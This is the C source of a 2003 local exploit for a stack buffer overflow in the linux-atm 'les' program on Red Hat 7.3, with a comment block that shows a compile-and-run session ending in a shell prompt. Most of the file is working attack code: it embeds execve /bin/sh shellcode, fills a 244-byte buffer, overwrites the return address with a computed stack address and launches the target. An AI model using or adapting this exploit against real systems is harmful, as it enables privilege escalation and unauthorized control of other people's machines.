/* ATM on linux Exploit

*** vulnerability discovered by Angelo Rosiello

*** sorry for my poor english.

*** i wrote this exploit just for fun.

*** i can't get a rootshell on my linux :(

*** tested on redhat7.3 ,other linux maybe OK,too.

*** atm package:linux-atm-2.4.0-1.i386.rpm

*** http://sourceforge.net/projects/linux-atm

***

*** Here is another exploit by Angelo Rosiello

*** But i can't get shell with this code

*** http://www.securiteam.com/exploits/5EP0M1P9PO.html

***************************************************

Buffer is 244 bytes

using 244+4 bytes to overwrite eip.

***************************************************

*** AUTOR:@Xis2(ph4nt0m)

*** CONTACT:axis (at) ph4nt0m (dot) net [email concealed]

*** COPYRIGHT (c) 2003 PH4NT0M SECURITY

*** http://www.ph4nt0m.net

*** 2003.5.15

***************************************************

[tt@PH4NT0M explab]$ gcc -o linux_atm myatm.c

[tt@PH4NT0M explab]$ ./linux_atm

****************************************

linux-atm exploit!

Coded by @Xis2(ph4nt0m)

Welcome to http://www.ph4nt0m.net

Jump to 0xbffffa5c

****************************************

DEBUG: Log opened

NOTE: Configuration file:

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAA

AAAAAAAAAAAAAAAAAAAAAAA??

sh-2.05a$

***************************************************

*/

#include<stdio.h>

#include<stdlib.h>

#include<unistd.h>

#define BSIZE 244

/* linux x86 shellcode by bob from dtors.net,23 bytes */

char shellcode[]="\x31\xc0\x50\x68\x6e\x2f\x73\x68"

"\x68\x2f\x2f\x62\x69\x89\xe3\x50"

"\x53\x89\xe1\xb0\x0b\xcd\x80";

int main(int argc,char *argv[]){

char buf[BSIZE+10];

char *prog[]={"/usr/local/sbin/les","-f",buf,NULL};

char *env[]={"HOME=/root",shellcode,NULL};

unsigned long ret;

printf("****************************************\n\n");

printf("Linux-atm exploit!\n\n");

printf("Coded by @Xis2(ph4nt0m)\n");

printf("Welcome to http://www.ph4nt0m.net\n\n");

printf("Jump to 0x%08x\n",&ret);

printf("****************************************\n\n\n");

/* calculate the shellcode address */

ret=0xc0000000-sizeof(void *)-strlen(prog[0])-strlen(shellcode)-0x02;

/* construct our evil buffer */

memset(buf,0x41,sizeof(buf));

memcpy(buf+BSIZE+4,(char *)&ret,4);

buf[BSIZE+8]=0x00;

execve(prog[0],prog,env);

return 0;

}

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